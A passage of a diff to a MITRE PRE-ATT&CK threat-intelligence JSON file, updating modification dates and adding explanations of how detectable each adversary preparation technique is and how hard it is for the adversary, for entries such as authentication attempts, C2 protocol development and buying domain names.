+            "x_mitre_difficulty_for_adversary_explanation": "The difficult part is enumerating all 3rd parties.  Finding major partners would not be difficult.  Significantly easier with insider knowledge.  Vulnerability scanning the 3rd party networks is trivial."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assign KITs, KIQs, and/or intelligence requirements",
-            "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -972,16 +1026,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Assign KITs/KIQs into categories",
-            "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary.  An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary.  An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle.  May not be done by all adversaries.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1003,16 +1059,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect.  Few agencies and commercial organizations may have unique insights.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle.  May not be done by all adversaries."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authentication attempt",
-            "description": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDifficulty for the Adversary: Yes",
+            "description": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)\n\nDetectable by Common Defenses: Partial\n\nDetectable by Common Defenses explanation: This is possible with diligent monitoring of login anomalies, expected user behavior/location.  If the adversary uses legitimate credentials, it may go undetected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials.  This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1038,16 +1096,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Partial",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is possible with diligent monitoring of login anomalies, expected user behavior/location.  If the adversary uses legitimate credentials, it may go undetected.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials.  This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authorized user performs requested cyber action",
-            "description": "Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1069,16 +1129,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated system performs requested action",
-            "description": "Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action.  Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1100,16 +1162,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action.  Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Build and configure delivery systems",
-            "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1131,16 +1195,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Build or acquire exploits",
-            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1166,16 +1232,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Build social network persona",
-            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([https://www.facebook.com Facebook], [https://www.linkedin.com LinkedIn], [https://twitter.com Twitter], [https://plus.google.com Google+], etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Performing activities like typical users, but with specific intent in mind.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1205,16 +1273,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Performing activities like typical users, but with specific intent in mind."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--45242287-2964-4a3e-9373-159fad4d8195",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Buy domain name",
-            "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDifficulty for the Adversary: Yes",
+            "description": "Domain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Proliferation of DNS TLDs and registrars.  Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1236,16 +1306,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "Yes",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs.  Various tools and services exist to track/query/monitor domain name registration information.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS TLDs and registrars.  Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "C2 protocol development",
-            "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: C2 over commonly used and permitted protocols provides the necessary cover and access.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1267,16 +1339,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "C2 over commonly used and permitted protocols provides the necessary cover and access."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Choose pre-compromised mobile app developer account credentials or signing keys",
-            "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps.  Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps.  Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: The difficulty of obtaining useful developer credentials may vary.  Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys.  Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary.  These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1298,16 +1372,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "No"
+            "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.",
+            "x_mitre_difficulty_for_adversary": "No",
+            "x_mitre_difficulty_for_adversary_explanation": "The difficulty of obtaining useful developer credentials may vary.  Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys.  Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary.  These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Choose pre-compromised persona and affiliated accounts",
-            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials.  Mining social media sites offers open source information about a particular target.  Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1333,16 +1409,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy and low cost to purchase compromised credentials.  Mining social media sites offers open source information about a particular target.  Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Common, high volume protocols and software",
-            "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: High level of entropy in communications.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1364,16 +1442,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "High level of entropy in communications.  High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise 3rd party infrastructure to support delivery",
-            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1399,16 +1479,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise 3rd party infrastructure to support delivery",
-            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes",
+            "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1434,16 +1516,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_detectable_by_common_defenses": "No",
-            "x_mitre_difficulty_for_adversary": "Yes"
+            "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.",
+            "x_mitre_difficulty_for_adversary": "Yes",
+            "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities)."
         },
         {
             "type": "attack-pattern",
             "id": "attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Compromise 3rd party or closed-source vulnerability/exploit information",
-            "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: No",
+            "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-pre-attack",
@@ -1465,16 +1549,18 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
